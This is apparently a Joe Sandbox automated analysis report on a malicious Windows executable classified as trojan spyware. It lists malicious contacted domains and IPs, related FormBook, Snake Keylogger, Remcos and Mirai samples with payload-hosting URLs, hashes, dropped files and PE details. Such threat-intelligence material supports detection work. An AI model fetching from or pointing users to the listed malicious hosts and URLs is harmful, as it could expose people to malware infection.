http://www70.earbudsstore.shop/	winrs.exe, 0000000A.00000002.3125614806.0000000003E5C000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404refer	zJGHFZpQDL.exe, 00000009.00000002.3131138704.00000000062F8000.00000004.80000000.00040000.00000000.sdmp, winrs.exe, 0000000A.00000002.3125614806.0000000003B38000.00000004.10000000.00040000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	winrs.exe, 0000000A.00000003.1584328647.00000000079A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	winrs.exe, 0000000A.00000003.1584328647.00000000079A8000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
194.195.220.41	www.earbudsstore.shop	Germany	6659	NEXINTO-DE	true
209.74.77.109	www.dailyfuns.info	United States	31744	MULTIBAND-NEWHOPEUS	true
188.114.97.3	www.zkdamdjj.shop	European Union	13335	CLOUDFLARENETUS	true
103.230.159.86	superiorfencing.net	Australia	133159	MAMMOTHMEDIA-AS-APMammothMediaPtyLtdAU	true
194.245.148.189	www.maitreyatoys.world	Germany	5517	CSLDE	true
23.167.152.41	gtml.huksa.huhusddfnsuegcdn.com	Reserved	395774	ESVC-ASNUS	false
188.114.96.3	www.mydreamdeal.click	European Union	13335	CLOUDFLARENETUS	true
66.29.132.194	orbitoasis.online	United States	19538	ADVANTAGECOMUS	true
118.107.250.103	www.zxyck.net	Hong Kong	24321	OCENET-AS-APOCESdnBhdISPMY	true
199.59.243.227	www.dating-apps-az-dn5.xyz	United States	395082	BODIS-NJUS	true
202.92.5.23	thaor56.online	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559171
Start date and time:	2024-11-20 09:21:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	A2028041200SD.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/3@14/11
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 53 Number of non-executed functions: 296
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
VT rate limit hit for: A2028041200SD.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
194.195.220.41	SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe	Get hash	malicious	FormBook	Browse	www.gemtastic.shop/junu/
	Quotation-27-08-24.exe	Get hash	malicious	FormBook	Browse	www.techcables.shop/0hup/
	TNT Express Arrival Notice AWB 8013580 1182023_PDF_.exe	Get hash	malicious	FormBook	Browse	www.ytonetgearhub.shop/l8y2/
	swift_payment_pdf.exe	Get hash	malicious	FormBook	Browse	www.cheapdesklamp.shop/9nq7/
188.114.97.3	Delivery_Notification_00000260791.doc.js	Get hash	malicious	Unknown	Browse	radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45
	ce.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/lxvbq
	Label_00000852555.doc.js	Get hash	malicious	Unknown	Browse	tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=25
	PO 20495088.exe	Get hash	malicious	FormBook	Browse	www.ssrnoremt-rise.sbs/3jsc/
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/zWkbOqX7/download
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
	gusetup.exe	Get hash	malicious	Unknown	Browse	www.glarysoft.com/update/glary-utilities/pro/pro50/
	Online Interview Scheduling Form.lnk	Get hash	malicious	Ducktail	Browse	gmtagency.online/api/check
	View Pdf Doc_0b40e7d2137cd39647abbd9321b34da7.htm	Get hash	malicious	Unknown	Browse	f7xiz.nhgrt.top/Kbo731/96f7xiZ96?&&V5G=YW5kZXJzLmhhcnR1bmcuY2hyaXN0ZW5zZW5Acm9ja3dvb2wuY29t
	SWIFT 103 202414111523339800 111124.pdf.vbs	Get hash	malicious	Remcos	Browse	paste.ee/d/YU1NN

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gtml.huksa.huhusddfnsuegcdn.com	need quotations.exe	Get hash	malicious	FormBook	Browse	23.167.152.41
	rGO880-PDF.exe	Get hash	malicious	FormBook	Browse	206.119.185.138
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	206.119.185.141
	Maryam Farokhi-PhD- CV-1403.exe	Get hash	malicious	FormBook	Browse	23.167.152.41
	NIlfETZ9aE.exe	Get hash	malicious	FormBook	Browse	206.119.185.226
	s200ld6btf.exe	Get hash	malicious	FormBook	Browse	206.119.185.225
	MV Sunshine.exe	Get hash	malicious	FormBook	Browse	206.119.185.225
	dzkb5Gfd33.exe	Get hash	malicious	FormBook	Browse	206.119.185.189
	Nowe zam#U00f3wienie zakupu pdf.exe	Get hash	malicious	FormBook	Browse	206.119.185.165
	Pedido de Cota#U00e7#U00e3o - RFQ 31072024_Lista comercial.bat.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	194.41.37.250

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	104.21.4.93
	MB267382625AE.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.96.3
	Quote specification and BOQ.exe	Get hash	malicious	GuLoader	Browse	188.114.96.3
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Delivery_Notification_00000260791.doc.js	Get hash	malicious	Unknown	Browse	188.114.97.3
	Delivery_Notification_00000875664.doc.js	Get hash	malicious	Unknown	Browse	188.114.97.3
	MyInstaller_PDFGear.exe	Get hash	malicious	Unknown	Browse	104.26.1.29
MAMMOTHMEDIA-AS-APMammothMediaPtyLtdAU	https://astonishing-maize-sunstone.glitch.me/	Get hash	malicious	Unknown	Browse	103.1.185.157
	http://hrlaw.com.au	Get hash	malicious	Unknown	Browse	103.16.131.131
	http://coastiesmag.com.au	Get hash	malicious	Unknown	Browse	103.4.234.120
	TRe8oqmYKc.elf	Get hash	malicious	Mirai	Browse	103.16.161.29
	cundi.mips.elf	Get hash	malicious	Mirai	Browse	103.16.161.29
	cundi.x86.elf	Get hash	malicious	Mirai	Browse	103.16.161.29
	cundi.x86_64.elf	Get hash	malicious	Mirai	Browse	103.16.161.29
	cundi.arm7.elf	Get hash	malicious	Mirai	Browse	103.16.161.29
	cundi.arm.elf	Get hash	malicious	Mirai	Browse	103.16.161.29
	http://agrisemm.com	Get hash	malicious	Unknown	Browse	43.229.61.61
NEXINTO-DE	botnet.spc.elf	Get hash	malicious	Mirai, Moobot	Browse	194.64.167.187
	meerkat.mips.elf	Get hash	malicious	Mirai	Browse	194.163.45.5
	meerkat.x86.elf	Get hash	malicious	Mirai	Browse	194.233.145.180
	tyo.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	194.233.65.110
	New PO [FK4-7173].pdf.exe	Get hash	malicious	FormBook	Browse	194.195.220.41
	bin.mips.elf	Get hash	malicious	Mirai	Browse	212.228.79.8
	arm.elf	Get hash	malicious	Mirai, Gafgyt	Browse	212.229.190.20
	sh4.elf	Get hash	malicious	Mirai	Browse	195.179.84.16
	splx86.elf	Get hash	malicious	Unknown	Browse	194.64.162.15
	nabmips.elf	Get hash	malicious	Unknown	Browse	212.228.44.65
MULTIBAND-NEWHOPEUS	https://hmjpvx0wn1.gaimensebb.shop/	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	209.74.95.101
	Order No 24.exe	Get hash	malicious	FormBook	Browse	209.74.64.58
	dhl009544554961.INV.PEK.CO.041.20241115.183845.20241115.183948.34872.exe	Get hash	malicious	FormBook	Browse	209.74.64.187
	RFQ.exe	Get hash	malicious	FormBook	Browse	209.74.64.58
	DHL SHIPPING CONFIRMATION-SAMPLES DELIVERY ADDRESS.exe	Get hash	malicious	FormBook	Browse	209.74.64.59
	https://u47618913.ct.sendgrid.net/ls/click?upn=u001.ySazWJ5NZMDRHbOtEU-2BeoVq5CHimfeKOmAStZ-2FBgQMYQ3SSwsETAhk1yN-2BT4-2Bp2oKYzZov6D-2F-2FVWJZ1NqqUA8rkCQTGD9qAyzE3VfFeoQ2nuSJqqyEFkZOdD2fHyfAGMqPTrK5an3w0r3jeoJ-2B5P7rAm7lpee2LRBP-2FVZ8vpCC6OhMnZUP9C90hQTb0-2BpgFS16pphNEcXB1XFdv8oIx-2FwRORRrbhR98R4uG9rtcNDDwGDlWsc4rC8kZPQKm-2F1Mm8tNwYXTNsqE7C9scBPWKFj8-2Flkc4ljwpAg27SdTSH4Lv1yIeDUc-2Br14vSnR5hortDhaaXBKI0vawIBQmkU8qdJOSHyv8egzfUQvo0FmhKgqV1moo-2BnRe99IbJ35dDYZE0MrccJKFnB5BMI9ztOOsnQMWDWj4usmLc-2BeVbqm24LsVBI18WzbkH2NLJelVG2ts-2FY8NEmgO2IHd2ydt-2BhAOvQWuc-2BoCn3Ao-2FeTWrPbny4XNYysHB9Qu5AO8kwT-2BngJOg10GMOXJS1JsoXicgqZmKM-2B-2FBOfXRHNWtl98FVLgmqGL1yDRbHi-2BrUHFtCwtB3BRDatptZmQIPNmSCXkxadq8IAoDDcDLc8BntBCtxPjmUSXgMaBFfsbPygwonXOkWZIQIxp1wvHXj-2BZ1eIGRPTwfugS5VMB7jYi-2FePeZ2P8ejmUXu0aUYor7jxsavDdhhTlU0d3WGd7xXyc70gSNl4s0N8kb-2FhMFZ3OuPfAMZG-2BGWl7Vsgw97GpKKLJX78rYX8Dtq0-2BFHI8oijeDXiQEnvU-2FI4F3F63PGiFfTUlwdYZGBzmjvsDN3AL1dSwty6HpxvSAKCtZ9VWrfa8NwcaFPKhxnxW4r2AR9TTWpNatEfU14LjPxEM-2F6jXkw8omQsSQ5ERlG1h6ZTouS0rz5yiYIeyCUVpUuOT4FtnK35YgC-2B0S-2FAum0FNVEv9aFTVDigH5szZA6pWOYsjwY5forGtNE55v7VxXGbkIRiEOYPWjYX7vj5EKbcmwdWMu8O3989atXdomEpBZG0cX1ylWoweLRVGVMNbSs-2FOqs-2B2xH8pdGj9VcybpSShtsD0ZIyshNyN0TwKGcJvKUNgMPDQVU64V5WleuedIajiM6uCp0xLc8RFYl0z-2B6RGF9NRTuzleNM-2Fg7hwq-2BEg52eVJjsFh3FdZjf0sr4TFySEDrqq3wci8zEr-2FI5c5Wj-2Fk-2F98bI-2FtCrFbLhfO78CKXQ3KYT53otrRT47GTmw-3D-3DwgKy_cipWnXOVDIhOM-2BBXOyzcHeOgQULBtPxx5riDWemF2G-2BwYzp7goEAXusjqSQprai9ZAQSor3gqS04DnqVBNX-2B27UevOScScKFnEaHJjzQ16GEAAakNELZybevGcJfbhSMyz-2FBkUhDktUr20hzj2tsCmKBBmBXnfL9SKUCvI82Axz3RMcAfJhD5XZvwDkb1SgvyUaaM4lOGnGhDtzRF5NN8-2FlqjhJjS-2FU6ncYoAfO4VYI-3D	Get hash	malicious	HTMLPhisher	Browse	209.74.72.93
	statement of accounts.exe	Get hash	malicious	FormBook	Browse	209.74.64.58
	rGO880-PDF.exe	Get hash	malicious	FormBook	Browse	209.74.64.59
	RFQ.exe	Get hash	malicious	FormBook	Browse	209.74.64.58
	Selected_Items.vbs	Get hash	malicious	FormBook	Browse	209.74.64.59

Process:	C:\Windows\SysWOW64\winrs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1211596417522893
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8wH0hL3kWieF:r2qOB1nxCkvSAELyKOMq+8wH0hLUZs
MD5:	0AB67F0950F46216D5590A6A41A267C7
SHA1:	3E0DD57E2D4141A54B1C42DD8803C2C4FD26CB69
SHA-256:	4AE2FD6D1BEDB54610134C1E58D875AF3589EDA511F439CDCCF230096C1BEB00
SHA-512:	D19D99A54E7C7C85782D166A3010ABB620B32C7CD6C43B783B2F236492621FDD29B93A52C23B1F4EFC9BF998E1EF1DFEE953E78B28DF1B06C24BADAD750E6DF7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aut5BF2.tmp

Download File

Process:	C:\Users\user\Desktop\A2028041200SD.exe
File Type:	data
Category:	dropped
Size (bytes):	287744
Entropy (8bit):	7.994548369199958
Encrypted:	true
SSDEEP:	6144:5hxWvSxwYVGnPlNYkHrQLjnJHfg1KtQUJ3+UDR5tcTkXt7rkV9:Dy/Y8PlNYkHrINo1aQUJ3vl5tcgXt7rq
MD5:	292E198398B4804ED9B1225A460B6E95
SHA1:	EF119638F6151A1A4B7B0A6DF96817C8CCD2647B
SHA-256:	068B8518B839676C57BA3CC4D14C41BBA20BED264781472AA4AE7922A0B67957
SHA-512:	2DA2C70C5FF4060FB4034ADE83F8167F4EC51C24D80CCEF9E42C250BB1F510C5758D51E6C6145252610491933903E0881FF49B75E42BC09A70A3F9E4B8BB43B0
Malicious:	false
Reputation:	low
Preview:	...C152G4QQ8..FT.P5BF05M.4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BK.T9P;].>5.A.b.4~...9Q1k6&V7G#+.V,&Z,F.P".#$Vb"(t}.fb+_Q(f9N8.2G0QQ8B2G].mU%..U*..#U.(.kX%.\.."!./....RR..Y29.",.T9P5BF05..4C~43G.c.eBKFT9P5B.07LC5H25`C0QQ8BKFT9.!BF0%MH43652GpQQ(BKFV9P3BF05MH4E252G0QQ82OFT;P5BF05OHt.25"G0AQ8BKVT9@5BF05MX4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P.6#HAMH4gb12G QQ8.OFT)P5BF05MH4C252G.QQXBKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ

C:\Users\user\AppData\Local\Temp\hurtling

Download File

Process:	C:\Users\user\Desktop\A2028041200SD.exe
File Type:	data
Category:	dropped
Size (bytes):	287744
Entropy (8bit):	7.994548369199958
Encrypted:	true
SSDEEP:	6144:5hxWvSxwYVGnPlNYkHrQLjnJHfg1KtQUJ3+UDR5tcTkXt7rkV9:Dy/Y8PlNYkHrINo1aQUJ3vl5tcgXt7rq
MD5:	292E198398B4804ED9B1225A460B6E95
SHA1:	EF119638F6151A1A4B7B0A6DF96817C8CCD2647B
SHA-256:	068B8518B839676C57BA3CC4D14C41BBA20BED264781472AA4AE7922A0B67957
SHA-512:	2DA2C70C5FF4060FB4034ADE83F8167F4EC51C24D80CCEF9E42C250BB1F510C5758D51E6C6145252610491933903E0881FF49B75E42BC09A70A3F9E4B8BB43B0
Malicious:	false
Reputation:	low
Preview:	...C152G4QQ8..FT.P5BF05M.4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BK.T9P;].>5.A.b.4~...9Q1k6&V7G#+.V,&Z,F.P".#$Vb"(t}.fb+_Q(f9N8.2G0QQ8B2G].mU%..U*..#U.(.kX%.\.."!./....RR..Y29.",.T9P5BF05..4C~43G.c.eBKFT9P5B.07LC5H25`C0QQ8BKFT9.!BF0%MH43652GpQQ(BKFV9P3BF05MH4E252G0QQ82OFT;P5BF05OHt.25"G0AQ8BKVT9@5BF05MX4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P.6#HAMH4gb12G QQ8.OFT)P5BF05MH4C252G.QQXBKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ8BKFT9P5BF05MH4C252G0QQ

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.147203930434446
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	A2028041200SD.exe
File size:	1'214'464 bytes
MD5:	65a28cddb97884a94a7c9faef74300c3
SHA1:	8cdb55cfbf3b463246bfea5ef3b8e3de34c64149
SHA256:	78ccda9ce77fc7adb68fac21cc8019dbdc10fadd481f28f28e0428eb35828fbf
SHA512:	6085a372018483ccdb19b825c1f9bd378d5cfbd0de6312f64bd1746ddd186a392330721d25746cce1ed26ab1c746f50db5fd5b81584644978312936070ecd2b4
SSDEEP:	24576:Ttb20pkaCqT5TBWgNQ7aHkf45YUptDT0n5pe86A:QVg5tQ7aHkfdUbW5pf5
TLSH:	3F45CF2273DEC365C3B25273BA16B701BE7B782506A5F96B2FD4093DE820161521EB73
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d..............'.a.....H.k.....H.h.....H.i......}%......}5...............~.......k.......o.......1.......j.....Rich...........

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x425f74
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673D6E68 [Wed Nov 20 05:06:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	3d95adbf13bbe79dc24dccb401c12091

Entrypoint Preview

Instruction
call 00007FD60CE6532Fh
jmp 00007FD60CE58344h
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FD60CE584CAh
cmp edi, eax
jc 00007FD60CE5882Eh
bt dword ptr [004C0158h], 01h
jnc 00007FD60CE584C9h
rep movsb
jmp 00007FD60CE587DCh
cmp ecx, 00000080h
jc 00007FD60CE58694h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007FD60CE584D0h
bt dword ptr [004BA370h], 01h
jc 00007FD60CE589A0h
bt dword ptr [004C0158h], 00000000h
jnc 00007FD60CE5866Dh
test edi, 00000003h
jne 00007FD60CE5867Eh
test esi, 00000003h
jne 00007FD60CE5865Dh
bt edi, 02h
jnc 00007FD60CE584CFh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007FD60CE584D3h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007FD60CE58525h
bt esi, 03h
jnc 00007FD60CE58578h
movdqa xmm1, dqword ptr [esi+00h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2012 UPD4 build 61030
[RES] VS2012 UPD4 build 61030
[LNK] VS2012 UPD4 build 61030

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb7004	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc4000	0x5f6ec	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x124000	0x6c4c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x8d8d0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb2730	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8d000	0x860	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8b54f	0x8b600	f437a6545e938612764dbb0a314376fc	False	0.5699499019058296	data	6.680413749210956	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8d000	0x2cc42	0x2ce00	827ffd24759e8e420890ecf164be989e	False	0.330464397632312	data	5.770192333189168	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xba000	0x9d54	0x6200	e0a519f8e3a35fae0d9c2cfd5a4bacfc	False	0.16402264030612246	data	2.002691099965349	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc4000	0x5f6ec	0x5f800	35355c9f0a2e0e4aba481b68e3d27ca9	False	0.9309171506871727	data	7.901774946740865	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x124000	0xa474	0xa600	0bc98f8631ef0bde830a7f83bb06ff08	False	0.5017884036144579	data	5.245426654116355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc45a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc46d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc47f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc4920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc4c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc4d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc5bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xc6480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xc69e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xc8f90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xca038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xca4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xca4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcaa84	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xcb110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xcb5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xcbb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcc1f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcc660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcc7b8	0x569f1	data			1.0003269438361222
RT_GROUP_ICON	0x1231ac	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x123224	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x123238	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x12324c	0x14	data	English	Great Britain	1.25
RT_VERSION	0x123260	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x12333c	0x3b0	ASCII text, with CRLF line terminators	English	Great Britain	0.5116525423728814

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, recv, send, setsockopt, ntohs, recvfrom, select, WSAStartup, htons, accept, listen, bind, closesocket, connect, WSACleanup, ioctlsocket, sendto, WSAGetLastError, inet_addr, gethostbyname, gethostname, socket
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_Create, InitCommonControlsEx, ImageList_ReplaceIcon
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
